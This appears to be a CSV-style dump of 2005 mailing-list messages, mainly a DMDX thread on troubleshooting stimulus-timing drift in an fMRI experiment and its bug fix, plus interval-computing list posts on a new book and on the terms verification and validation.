File: This is the exact item file we are running. ********************* d60 f1 0 ""Press SPACE to BEGIN""; +11 * ""blue"" <% 20> /; +11 * ""blue"" <% 20> /; +11 * ""blue"" <% 20> /; +11 * ""blue"" <% 20> /; +11 * ""blue"" <% 20> /; +11 * ""blue"" <% 20> /; +11 * ""blue"" <% 20> /; 100000 ""the end""; ******************* The Zil File output ******************* Subjects incorporated to date: 002 Data file started on machine EVO ********************************************************************** Subject 1, 08/07/2005 12:44:51 on EVO, refresh 16.66ms, ID 1 COT Item 11, COT 0.00, No Responses. Item 11, COT 1349.56, No Responses. Item 11, COT 2682.45, No Responses. Item 11, COT 4032.01, No Responses. Item 11, COT 5364.90, No Responses. Item 11, COT 6697.79, No Responses. Item 11, COT 8030.69, No Responses. ********************************************************************** Subject 2, 08/07/2005 12:45:13 on EVO, refresh 16.66ms, ID 2 COT Item 11, COT 0.00, No Responses. Item 11, COT 1349.55, No Responses. Item 11, COT 2699.11, No Responses. Item 11, COT 4048.66, No Responses. Item 11, COT 5381.56, No Responses. Item 11, COT 6731.12, No Responses. Item 11, COT 8080.68, No Responses. On 8/6/05, j.c.f. wrote: > At 08:52 PM 8/5/2005 -0700, you wrote: > > > Not all items will get displayed as errors, for instance I suspect > > instructions are free of any diagnostics for lateness. So your D of 1 > > might be catching the odd instruction, you've also got comments in there > > which will also be affected by the D of 1. Try a D of two or three and > > see if the problem doesn't go away. > > > The other thing that people hit all the time with constant ISIs is > having a timeout that's longer than a display. As long as the subject > responds before the display's duration is up the stimuli are all perfectly > timed, as soon as a response comes in that's a little too long the inter > trial timing goes off. I can't tell what the syntax of your item is from > the archives as it's formatting has been mangled but it looks like you're > using counters both for the frame duration and the timeout. For debugging > purposes in the frames that use the counters I would each one and > check that their values do indeed meet the required criteria. > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > People with narrow minds usually have broad tongues > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > -- John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Website: http://dionysus.psych.wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029",0,1 John Curtin ,DMDX@psy1.psych.arizona.edu,"Sun, 07 Aug 2005 12:53:26 -0500",[DMDX] Re: question about timing in a fMRI experiment,"As one final check, instead of presenting the blue.bmp file, we simply presented the word blue as text. Still produces the inconsistent RCOT times across runs. Here is the item file which you should be able to run. d60 f1 0 ""Press SPACE to BEGIN""; +11 * ""blue"" <% 20> /; +11 * ""blue"" <% 20> /; +11 * ""blue"" <% 20> /; +11 * ""blue"" <% 20> /; +11 * ""blue"" <% 20> /; +11 * ""blue"" <% 20> /; +11 * ""blue"" <% 20> /; 100000 ""the end""; On 8/6/05, j.c.f. wrote: > At 08:52 PM 8/5/2005 -0700, you wrote: > > > Not all items will get displayed as errors, for instance I suspect > > instructions are free of any diagnostics for lateness. So your D of 1 > > might be catching the odd instruction, you've also got comments in there > > which will also be affected by the D of 1. Try a D of two or three and > > see if the problem doesn't go away. > > > The other thing that people hit all the time with constant ISIs is > having a timeout that's longer than a display. As long as the subject > responds before the display's duration is up the stimuli are all perfectly > timed, as soon as a response comes in that's a little too long the inter > trial timing goes off. I can't tell what the syntax of your item is from > the archives as it's formatting has been mangled but it looks like you're > using counters both for the frame duration and the timeout. For debugging > purposes in the frames that use the counters I would each one and > check that their values do indeed meet the required criteria. > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > People with narrow minds usually have broad tongues > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > -- John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Website: http://dionysus.psych.wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029",0,1 John Curtin ,DMDX@psy1.psych.arizona.edu,"Sun, 07 Aug 2005 13:01:55 -0500",[DMDX] Re: question about timing in a fMRI experiment,"and the same problem is observed using the azk rather than zil response format. Itemfile d60 f1 0 ""Press SPACE to BEGIN""; +11 * ""blue"" <% 20> /; +11 * ""blue"" <% 20> /; +11 * ""blue"" <% 20> /; +11 * ""blue"" <% 20> /; +11 * ""blue"" <% 20> /; +11 * ""blue"" <% 20> /; +11 * ""blue"" <% 20> /; 100000 ""the end""; Output Subjects incorporated to date: 002 Data file started on machine EVO ********************************************************************** Subject 1, 08/07/2005 12:57:16 on EVO, refresh 16.66ms Item RT COT 11 -200.00 0.00 11 -200.00 1349.55 11 -200.00 2699.11 11 -200.00 4048.67 11 -200.00 5398.22 11 -200.00 6747.78 11 -200.00 8097.33 ********************************************************************** Subject 2, 08/07/2005 12:57:44 on EVO, refresh 16.66ms, ID 2 Item RT COT 11 -200.00 0.00 11 -200.00 1349.56 11 -200.00 2699.11 11 -200.00 4032.01 11 -200.00 5381.56 11 -200.00 6714.46 11 -200.00 8047.35 On 8/6/05, j.c.f. wrote: > At 08:52 PM 8/5/2005 -0700, you wrote: > > > Not all items will get displayed as errors, for instance I suspect > > instructions are free of any diagnostics for lateness. So your D of 1 > > might be catching the odd instruction, you've also got comments in there > > which will also be affected by the D of 1. Try a D of two or three and > > see if the problem doesn't go away. > > > The other thing that people hit all the time with constant ISIs is > having a timeout that's longer than a display. As long as the subject > responds before the display's duration is up the stimuli are all perfectly > timed, as soon as a response comes in that's a little too long the inter > trial timing goes off. I can't tell what the syntax of your item is from > the archives as it's formatting has been mangled but it looks like you're > using counters both for the frame duration and the timeout. For debugging > purposes in the frames that use the counters I would each one and > check that their values do indeed meet the required criteria. > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > People with narrow minds usually have broad tongues > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > -- John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Website: http://dionysus.psych.wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 07 Aug 2005 12:10:58 -0700",[DMDX] Re: question about timing in a fMRI experiment,"At 01:01 PM 8/7/2005 -0500, you wrote: >and the same problem is observed using the azk rather than zil response >format. Yeah, that wouldn't affect anything. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ People with narrow minds usually have broad tongues ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 07 Aug 2005 12:21:13 -0700",[DMDX] Re: question about timing in a fMRI experiment,"At 12:48 PM 8/7/2005 -0500, you wrote: >JUST TO BE CLEAR, THE LONG DELAYS WERE NOT DETERMINED SOLELY BASED ON >TIME NEED TO PRESENT THE BMPS. WE ADDED EXTRA TIME TO THE DELAYS FOR >TIMING ISSUES RELATED TO THE TASK. ITS NOT A PARTICULARLY OLD OR SLOW >COMPUTER AND WE COULD HAVE USED SHORTER DELAYS IF NEEDED. Doesn't matter, you need to check the preparation times. The fastest machine in the world can be reduced to slow pig by worms or a failing hard disk. But from the results below I'd say that's not your problem as we'd be seeing display errors. >YOU MENTION COMMENTS AS A POSSIBLE SOURCE OF THE PROBLEM. I WOULD >HAVE ASSUMED THAT TEXT THAT IS COMMENTED OUT WAS DISCARDED PRIOR TO >RUNTIME WHEN DMDX PARSED THE ITEM FILE. No, it's an item that's ignored but it's still an item and the delay parameter affects it and so comments are a concern when D is 1. > d60 f1 800,600,600,16,60> >0 ""Press SPACE to BEGIN""; >+11 * ""blue"" <% 20> /; >+11 * ""blue"" <% 20> /; >+11 * ""blue"" <% 20> /; >+11 * ""blue"" <% 20> /; >+11 * ""blue"" <% 20> /; >+11 * ""blue"" <% 20> /; >+11 * ""blue"" <% 20> /; >100000 ""the end""; > >******************* >The Zil File output >******************* > >Subjects incorporated to date: 002 >Data file started on machine EVO > >********************************************************************** >Subject 1, 08/07/2005 12:44:51 on EVO, refresh 16.66ms, ID 1 COT >Item 11, COT 0.00, No Responses. >Item 11, COT 1349.56, No Responses. >Item 11, COT 2682.45, No Responses. >Item 11, COT 4032.01, No Responses. >Item 11, COT 5364.90, No Responses. >Item 11, COT 6697.79, No Responses. >Item 11, COT 8030.69, No Responses. > >********************************************************************** >Subject 2, 08/07/2005 12:45:13 on EVO, refresh 16.66ms, ID 2 COT >Item 11, COT 0.00, No Responses. >Item 11, COT 1349.55, No Responses. >Item 11, COT 2699.11, No Responses. >Item 11, COT 4048.66, No Responses. >Item 11, COT 5381.56, No Responses. >Item 11, COT 6731.12, No Responses. >Item 11, COT 8080.68, No Responses. Well I'd be checking TimeDX's values for that display mode, what you see there with an item taking 80 or 81 ticks when it should be taking 81 ticks pretty much only comes about when the retrace interval is radically different than that which is described in the registry. I'd be seeing if the Enhanced Retrace Test really indicates a 60 Hz retrace and not something else entirely. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ People with narrow minds usually have broad tongues",0,0 John Curtin ,DMDX@psy1.psych.arizona.edu,"Sun, 07 Aug 2005 16:26:12 -0500",[DMDX] Re: question about timing in a fMRI experiment,"I guess it depends on what you mean by ""radically different"" First, remember that this is my notebook at home which may not be ideal for running DMDX. However, we are observing the same problems on desktops configured for DMDX on campus. When I do ""Basic Tests: Refresh rate"" it returns either 16.64 or 16.66. Currently 16.661 is saved in the registry from the last timing test. If I use 16.661 and press the Enh Retrace button in the Time Video mode test, I see a blue box in center of screen with red on top and bottom. Its fairly stable with a little jumping up and down but no systematic movement of the boxes in either direction. If I use 16.641 and press the Enh Retrace button, the red and blue boxes slowly scroll up the screen, suggesting this isnt the right setting? Therefore we have continued to use 16.661 If I select the Do Test button from Time Video mode, I get relatively high timed out retraces (53%) and multiple misses (19%) but 0% certain errors. If I run the Tachistoscopic Acid test for 141 flips, I get 140 timed out, 0 multipy timedout 0 certain errors, 0 last minute flips, 0 wait for blit, the longest flip is 16.86 and the longest blit is 17.69. Do any of these stats suggest the source of the error? Its surprising to me that it occurs on multiple computers also. J On 8/7/05, j.c.f. wrote: > At 12:48 PM 8/7/2005 -0500, you wrote: > > >JUST TO BE CLEAR, THE LONG DELAYS WERE NOT DETERMINED SOLELY BASED ON > >TIME NEED TO PRESENT THE BMPS. WE ADDED EXTRA TIME TO THE DELAYS FOR > >TIMING ISSUES RELATED TO THE TASK. ITS NOT A PARTICULARLY OLD OR SLOW > >COMPUTER AND WE COULD HAVE USED SHORTER DELAYS IF NEEDED. > > Doesn't matter, you need to check the preparation times. The fastest > machine in the world can be reduced to slow pig by worms or a failing hard > disk. But from the results below I'd say that's not your problem as we'd > be seeing display errors. > > > >YOU MENTION COMMENTS AS A POSSIBLE SOURCE OF THE PROBLEM. I WOULD > >HAVE ASSUMED THAT TEXT THAT IS COMMENTED OUT WAS DISCARDED PRIOR TO > >RUNTIME WHEN DMDX PARSED THE ITEM FILE. > > No, it's an item that's ignored but it's still an item and the delay > parameter affects it and so comments are a concern when D is 1. > > > > > d60 f1 >800,600,600,16,60> > >0 ""Press SPACE to BEGIN""; > >+11 * ""blue"" <% 20> /; > >+11 * ""blue"" <% 20> /; > >+11 * ""blue"" <% 20> /; > >+11 * ""blue"" <% 20> /; > >+11 * ""blue"" <% 20> /; > >+11 * ""blue"" <% 20> /; > >+11 * ""blue"" <% 20> /; > >100000 ""the end""; > > > >******************* > >The Zil File output > >******************* > > > >Subjects incorporated to date: 002 > >Data file started on machine EVO > > > >********************************************************************** > >Subject 1, 08/07/2005 12:44:51 on EVO, refresh 16.66ms, ID 1 COT > >Item 11, COT 0.00, No Responses. > >Item 11, COT 1349.56, No Responses. > >Item 11, COT 2682.45, No Responses. > >Item 11, COT 4032.01, No Responses. > >Item 11, COT 5364.90, No Responses. > >Item 11, COT 6697.79, No Responses. > >Item 11, COT 8030.69, No Responses. > > > >********************************************************************** > >Subject 2, 08/07/2005 12:45:13 on EVO, refresh 16.66ms, ID 2 COT > >Item 11, COT 0.00, No Responses. > >Item 11, COT 1349.55, No Responses. > >Item 11, COT 2699.11, No Responses. > >Item 11, COT 4048.66, No Responses. > >Item 11, COT 5381.56, No Responses. > >Item 11, COT 6731.12, No Responses. > >Item 11, COT 8080.68, No Responses. > > > Well I'd be checking TimeDX's values for that display mode, what you > see there with an item taking 80 or 81 ticks when it should be taking 81 > ticks pretty much only comes about when the retrace interval is radically > different than that which is described in the registry. I'd be seeing if > the Enhanced Retrace Test really indicates a 60 Hz retrace and not > something else entirely. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > People with narrow minds usually have broad tongues > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > -- John J. Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Website: http://dionysus.psych.wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 07 Aug 2005 17:07:33 -0700",[DMDX] Re: question about timing in a fMRI experiment,"At 04:26 PM 8/7/2005 -0500, you wrote: >I guess it depends on what you mean by ""radically different"" >First, remember that this is my notebook at home which may not be >ideal for running DMDX. However, we are observing the same problems >on desktops configured for DMDX on campus. > >When I do ""Basic Tests: Refresh rate"" it returns either 16.64 or >16.66. Currently 16.661 is saved in the registry from the last timing >test. Essentially identical. Radically different is another retrace interval, 70 Hz, 85 Hz, that kind of thing. >If I use 16.661 and press the Enh Retrace button in the Time Video >mode test, I see a blue box in center of screen with red on top and >bottom. Its fairly stable with a little jumping up and down but no >systematic movement of the boxes in either direction. If I use 16.641 >and press the Enh Retrace button, the red and blue boxes slowly scroll >up the screen, suggesting this isnt the right setting? Yes. > Therefore we >have continued to use 16.661 > >If I select the Do Test button from Time Video mode, I get relatively >high timed out retraces (53%) and multiple misses (19%) but 0% certain >errors. Not great but probably functioning. >If I run the Tachistoscopic Acid test for 141 flips, I get 140 timed >out, 0 multipy timedout 0 certain errors, 0 last minute flips, 0 wait >for blit, the longest flip is 16.86 and the longest blit is 17.69. > >Do any of these stats suggest the source of the error? Its surprising >to me that it occurs on multiple computers also. Those are all usable sorts of timing characteristics, nothing great but probably not causing your delay inconsistencies. Hmm, well it's a mystery to me. I can see a similar effect here at home (a wretched machine for DMDX if ever there was one) but instead of 80 ticks I see things like 82 ticks (a much easier thing to explain that 80 ticks). I'm thinking the code is busted but we have any number of people running fMRI stuff with and if it wasn't working I'm sure I'd be hearing about it -- perhaps they're all using earlier versions that are still ok. Gods, you can even see it in EZ mode where there is no raster synch. Weird, my guess is something I stuck in to allow super fast branching has disturbed the Delay mechanism. I'll be looking at it this week, rest assured. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ People with narrow minds usually have broad tongues",0,0 """Kreinovich, Vladik"" ",reliable_computing@interval.louisiana.edu,"Sun, 07 Aug 2005 22:13:33 -0600",from NA Digest,"FYI. This book has several interval-related papers, by Bill Walster ad Siegrief Rump. *************************************************************** From: Bo Einarsson Date: Fri, 05 Aug 2005 14:08:02 +0200 Subject: New Book, Accuracy and Reliability in Scientific Computing Numerical software is central to our computerized society. It is used to design airplanes and bridges, to operate manufacturing lines, to control power plants and refineries, to analyze future options for financial markets, to determine genomes, to provide the understanding necessary for the treatment for cancer. Because of the high stakes involved, it is essential that the software be accurate, reliable, and robust. The IFIP Working Group on Numerical Software has produced a book ""Accuracy and Reliability in Scientific Computing"" with the objective to investigate some of the difficulties related to scientific computing, such as accuracy requirements and rounding, and to explain how to obtain accurate and reliable results. The book has authors both from the working group and outside experts. It was published by SIAM late July 2005 and further information is available via http://ec-securehost.com/SIAM/SE18.html Bo Einarsson Editor",0,1 """Kreinovich, Vladik"" ",reliable_computing@interval.louisiana.edu,"Sun, 07 Aug 2005 22:31:46 -0600",from NA Digest,"Forwarding; apologies for multiple copies. Vladik ************************************************* From: Brigitte Verdonk Date: Sat, 6 Aug 2005 06:23:03 +0200 (CEST) Subject: Mini-symposium at ICNAAM on the Computation of Special Functions Due to the great interest for ICNAAM 2005 (International Conference on Numerical Analysis and Applied Mathematics), the deadline for participation and registration has been extended. We invite late submissions for the mini-symposium ON THE COMPUTATION OF SPECIAL FUNCTIONS organized at ICNAAM 2005. Mini-symposium topic: Because of the importance of special functions, many of their properties, developed over the centuries, have been collected in formula books. Since the 1960s, also algorithms and software for the approximation of special functions have been developed and published. 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For details on submission deadlines and registration, please refer to http://www.uop.gr/~icnaam",0,1 Skidmore Spam Firewall ,irc-list-web@skidmore.edu,"Mon, 08 Aug 2005 07:04:01 -0400",Spam Quarantine Summary,"Dear irc-list-web@skidmore.edu, this is your quarantine summary from the Skidmore Spam Firewall. You have 5 messages in your spam quarantine inbox. To view the contents of your quarantine inbox or to manage your spam preferences, please open the following link in your browser: https://monty.skidmore.edu:443/cgi-bin/index.cgi?user=irc-list-web@skidmore.edu&password=7d1e609de572917d008025838ac581ca&et=1123931041 ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 08 Aug 2005 15:35:26 -0700",[DMDX] delay issues,"It looks like the issue John Curtin is running into is a race condition that's been possible for quite some time. In tearing the code apart there are actually two quite distinct mechanisms for (or ) and (or or C) in the last frame of an item. On most machines it's a non-issue otherwise I'd have seen a lot more of it before now but sometimes the time that an item's last frame occurs at for the purposes of can be one tick earlier than it's supposed to be when you use the global . If you use C in the last frame of every item results appear to be much more stable but item times are 1 tick less than when using . I'll have to think about the correct way to fix this and make conventional functionality not change so in the interim use something like this: d60 f1 0 ""Press SPACE to BEGIN""; +11 * ""blue"" <% 20> /c; +11 * ""blue"" <% 20> /c; +11 * ""blue"" <% 20> /c; +11 * ""blue"" <% 20> /c; +11 * ""blue"" <% 20> /c; +11 * ""blue"" <% 20> /c; +11 * ""blue"" <% 20> /c; 100000 ""the end""; Every item will be taking 80 ticks to execute instead of the 81 that happen with because the next item is scheduled from the time that the frame that contains the C is displayed, not the time that work for that item is finished. In fact has never been a rigorous mechanism as far as I can tell, on a very busy machine it's always been possible for to be delayed. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I don't want to achieve immortality through my work. I want to achive immortality by not dying. - Woody Allen",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 08 Aug 2005 17:07:33 -0700",[DMDX] DMDX 3.1.4.1,"Well that was a lot easier than it might have otherwise been. DMDX 3.1.4.1 should be up on the web page and that fixes the inconsistencies that have been seen lately. The and keywords function as they did before however is no longer subject to the race conditions that later CPUs were capable of and in addition will not be subject to inconsistent delays on an excessively loaded CPU either. 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Binary version of the program is also included. Additionally there is a solution program which calculates of non-stationary diffusion equations with interval parameters. The algorithms of calculations are based on sensitivity analysis and gives only approximate results but maybe some members of this group will be interested of the results, which are generated by these programs just for comparison. Regards, Andrzej Pownuk --------------------------------------------- Ph.D., research associate at: Chair of Theoretical Mechanics Faculty of Civil Engineering Silesian University of Technology ul. Krzywoustego 7 44-100 Gliwice, Poland Tel/fax: 0048 32 2371542 Mobile: 0048 606 550147 URL: http://pownuk.com E-mail: andrzej@pownuk.com --------------------------------------------- ",0,1 Dr John D Pryce ,reliable_computing@interval.louisiana.edu,"Wed, 10 Aug 2005 10:40:18 +0100",Re: Verification and Validation,"Dear all On the current discussion about terms & names: (1) --------------------- I have had the job of teaching our basic Software Engineering course for some years now. The distinction made by the software engineering (and I believe more broadly systems engineering) community between Verification and Validation is quite explicit: Verification: ""Are we building the product right?"" The software should conform to its specification. Validation: ""Are we building the right product?"" The software should do what the user really requires. (see e.g. ""Software Engineering"", Ian Sommerville, 6th edition, Chapter 19) So verification is *in principle* automatable, being about the equivalence between one formal system (a spec) and another (a software system). Validation is *in principle* non-automatable, being about the correspondence between human requirements and a formal system. This is clearly related to, but not the same as, the distinction being made in other engineering disciplines as e.g. quoted by Ray Moore in his original posting: >Evidently ""validation"" is widely used to refer to agreement with physical >effects, experimental results, etc. I do not think we should get too worried about ""right"" usage of these words, seeing that there are various communities out there that use them in subtly different ways. (2) --------------------- I am perfectly happy with the name ""Reliable Computing"". I think ""Interval Arithmetic"" and ""Interval Computing"" are too narrow for the reasons Baker has just given, namely you don't need intervals to get, ermm, validated results. Example: Years ago I refereed a joint paper by two great men, Jim Wilkinson and Frank Olver, on an algorithm and its implementation, for solving a (dense) linear system Ax=b with rigorous bounds on the error. This was in the days when double precision was far slower than single, and before IEEE754 I think. They just used the Wilkinson model x OP y = (1 + e) ( x op y), |e| <= u (*) where op is an exact arithmetic operation, OP is as done on the machine, u is the roundoff unit. (I think they even put in an extra term to handle underflow.) So, the scheme was to do the main computation in double precision, and simultaneously in single precision perform a running rigorous error bound of each operation (*), using an inflation of each absolute-value bound by a factor (1+u1) where u1 is the S.P. roundoff unit, so as to account for errors in the S.P. computation. You thus did Wilkinson's backward error analysis but with far sharper bounds, which in theory would be asymptotically optimal as u -> 0. So, totally ""validated"" but with no interval arithmetic! Wilkinson wrote me to the effect that this was Olver's baby, he found it rather boring and he could have done it on the pilot ACE in 1948 if he had really wanted to. He was much more interested in error analysis for giving insight rather than rigorous bounds. But times and needs change. --------------------- John Pryce Dr John D Pryce Lecturer in Mathematical Software Engineering Computer Information Systems Engineering Dept Cranfield University, RMCS Shrivenham Swindon SN6 8LA, UK Tel +44 (0)1793-785683 direct, +44 (0)1793-785931 secretaries, +44 (0)1793-785366 fax -- This message has been scanned for viruses and dangerous content by the Cranfield MailScanner, and is believed to be clean.",0,0 Chenyi Hu ,"J.D.Pryce@cranfield.ac.uk, reliable_computing@interval.louisiana.edu","Wed, 10 Aug 2005 09:15:38 -0500",Re: Verification and Validation,"Dear All, I still feel very strongly that Ray's original post on this topic has great intrinsic merit. Although achieving computational reliability has been one of the most important applications of interval computing, intervals have been applied in much broader areas nowadays. Yes, there are other methods to achieve computational reliability. But, the term ""interval computing"" covers much more application areas than only on ""verification"" and validation"". As a very recent example, I do not feel if it is very appropriate to submit one of our current research results on interval fuzzy decision making systems to the Journal of Reliable Computing simply because of that our work does not fit the term ""Reliable"". I think, the most common interests of this group probably are in interval computing and its applications. If that is true, then the term ""interval computing"" might not be ""too narrow"" for this group as it seems. Regards, Chenyi Hu >>> Dr John D Pryce 08/10/05 2:40 AM >>> Dear all On the current discussion about terms & names: (1) --------------------- I have had the job of teaching our basic Software Engineering course for some years now. The distinction made by the software engineering (and I believe more broadly systems engineering) community between Verification and Validation is quite explicit: Verification: ""Are we building the product right?"" The software should conform to its specification. Validation: ""Are we building the right product?"" The software should do what the user really requires. (see e.g. ""Software Engineering"", Ian Sommerville, 6th edition, Chapter 19) So verification is *in principle* automatable, being about the equivalence between one formal system (a spec) and another (a software system). Validation is *in principle* non-automatable, being about the correspondence between human requirements and a formal system. This is clearly related to, but not the same as, the distinction being made in other engineering disciplines as e.g. quoted by Ray Moore in his original posting: >Evidently ""validation"" is widely used to refer to agreement with physical >effects, experimental results, etc. I do not think we should get too worried about ""right"" usage of these words, seeing that there are various communities out there that use them in subtly different ways. (2) --------------------- I am perfectly happy with the name ""Reliable Computing"". I think ""Interval Arithmetic"" and ""Interval Computing"" are too narrow for the reasons Baker has just given, namely you don't need intervals to get, ermm, validated results. Example: Years ago I refereed a joint paper by two great men, Jim Wilkinson and Frank Olver, on an algorithm and its implementation, for solving a (dense) linear system Ax=b with rigorous bounds on the error. This was in the days when double precision was far slower than single, and before IEEE754 I think. They just used the Wilkinson model x OP y = (1 + e) ( x op y), |e| <= u (*) where op is an exact arithmetic operation, OP is as done on the machine, u is the roundoff unit. (I think they even put in an extra term to handle underflow.) So, the scheme was to do the main computation in double precision, and simultaneously in single precision perform a running rigorous error bound of each operation (*), using an inflation of each absolute-value bound by a factor (1+u1) where u1 is the S.P. roundoff unit, so as to account for errors in the S.P. computation. You thus did Wilkinson's backward error analysis but with far sharper bounds, which in theory would be asymptotically optimal as u -> 0. So, totally ""validated"" but with no interval arithmetic! Wilkinson wrote me to the effect that this was Olver's baby, he found it rather boring and he could have done it on the pilot ACE in 1948 if he had really wanted to. He was much more interested in error analysis for giving insight rather than rigorous bounds. But times and needs change. --------------------- John Pryce Dr John D Pryce Lecturer in Mathematical Software Engineering Computer Information Systems Engineering Dept Cranfield University, RMCS Shrivenham Swindon SN6 8LA, UK Tel +44 (0)1793-785683 direct, +44 (0)1793-785931 secretaries, +44 (0)1793-785366 fax -- This message has been scanned for viruses and dangerous content by the Cranfield MailScanner, and is believed to be clean.",0,0 Steve Stevenson ,"Chenyi Hu , J.D.Pryce@cranfield.ac.uk, reliable_computing@interval.louisiana.edu","Wed, 10 Aug 2005 13:13:33 -0400",Re: Verification and Validation,"For what it's worth, I agree with Chenyi. I call your attention to a really interesting volume of @Proceedings{helton04, title = {Special Issue: Alternative Representations of Epistemic Uncertainty}, year = 2004, editor = {J. C. Helton and W. L. Oberkampf}, volume = 85, series = {Reliability Engineering \\& System Safety}, publisher = {Elsevier} } Not only is this published in a series of reliability but the volume itself covers a large number of alternative arithmetic systems, many based in part on interval arithmetic. I think this idea is just gaining speed that alternative approaches are needed. steve At 9:15 -0500 8/10/05, Chenyi Hu wrote: >Dear All, > >I still feel very strongly that Ray's original post on this topic >has great intrinsic merit. Although achieving computational >reliability has been one of the most important applications of >interval computing, intervals have been applied in much broader >areas nowadays. Yes, there are other methods to achieve >computational reliability. But, the term ""interval computing"" covers >much more application areas than only on ""verification"" and >validation"". As a very recent example, I do not feel if it is very >appropriate to submit one of our current research results on >interval fuzzy decision making systems to the Journal of Reliable >Computing simply because of that our work does not fit the term >""Reliable"". I think, the most common interests of this group >probably are in interval computing and its applications. If that is >true, then the term ""interval computing"" might not be ""too narrow"" >for this group as it seems. > >Regards, > >Chenyi Hu > >>>> Dr John D Pryce 08/10/05 2:40 AM >>> >Dear all >On the current discussion about terms & names: > >(1) --------------------- >I have had the job of teaching our basic Software Engineering course for >some years now. The distinction made by the software engineering (and I >believe more broadly systems engineering) community between Verification >and Validation is quite explicit: > >Verification: > ""Are we building the product right?"" > > The software should conform to its specification. > >Validation: > ""Are we building the right product?"" > > The software should do what the user really requires. > >(see e.g. ""Software Engineering"", Ian Sommerville, 6th edition, Chapter 19) >So verification is *in principle* automatable, being about the equivalence >between one formal system (a spec) and another (a software system). >Validation is *in principle* non-automatable, being about the >correspondence between human requirements and a formal system. > >This is clearly related to, but not the same as, the distinction being made >in other engineering disciplines as e.g. quoted by Ray Moore in his >original posting: >>Evidently ""validation"" is widely used to refer to agreement with physical >>effects, experimental results, etc. > >I do not think we should get too worried about ""right"" usage of these >words, seeing that there are various communities out there that use them in >subtly different ways. > >(2) --------------------- >I am perfectly happy with the name ""Reliable Computing"". I think ""Interval >Arithmetic"" and ""Interval Computing"" are too narrow for the reasons Baker >has just given, namely you don't need intervals to get, ermm, validated >results. > >Example: Years ago I refereed a joint paper by two great men, Jim Wilkinson >and Frank Olver, on an algorithm and its implementation, for solving a >(dense) linear system Ax=b with rigorous bounds on the error. This was in >the days when double precision was far slower than single, and before >IEEE754 I think. They just used the Wilkinson model > x OP y = (1 + e) ( x op y), |e| <= u (*) > >where op is an exact arithmetic operation, OP is as done on the machine, u >is the roundoff unit. (I think they even put in an extra term to handle >underflow.) So, the scheme was to do the main computation in double >precision, and simultaneously in single precision perform a running >rigorous error bound of each operation (*), using an inflation of each >absolute-value bound by a factor (1+u1) where u1 is the S.P. roundoff unit, >so as to account for errors in the S.P. computation. You thus did >Wilkinson's backward error analysis but with far sharper bounds, which in >theory would be asymptotically optimal as u -> 0. > >So, totally ""validated"" but with no interval arithmetic! > >Wilkinson wrote me to the effect that this was Olver's baby, he found it >rather boring and he could have done it on the pilot ACE in 1948 if he had >really wanted to. He was much more interested in error analysis for giving >insight rather than rigorous bounds. But times and needs change. > >--------------------- > >John Pryce > >Dr John D Pryce >Lecturer in Mathematical Software Engineering >Computer Information Systems Engineering Dept >Cranfield University, RMCS Shrivenham >Swindon SN6 8LA, UK >Tel +44 (0)1793-785683 direct, > +44 (0)1793-785931 secretaries, > +44 (0)1793-785366 fax > > > >-- >This message has been scanned for viruses and >dangerous content by the Cranfield MailScanner, and is >believed to be clean. -- best, steve Dr. D. E. Stevenson Director, Institute for Modeling and Simulation Applications Clemson University Clemson,SC 29634-0974",0,0 Yuval Marton ,DMDX@psy1.psych.arizona.edu,"Wed, 10 Aug 2005 21:31:46 -0400",[DMDX] varying text color within the same word,"Dear DMDX power users, I am trying to create an experiment in DMDX for the first time. I need to change the text color within the same word. I can change the default color for the entire text, but cannot control it for each letter. 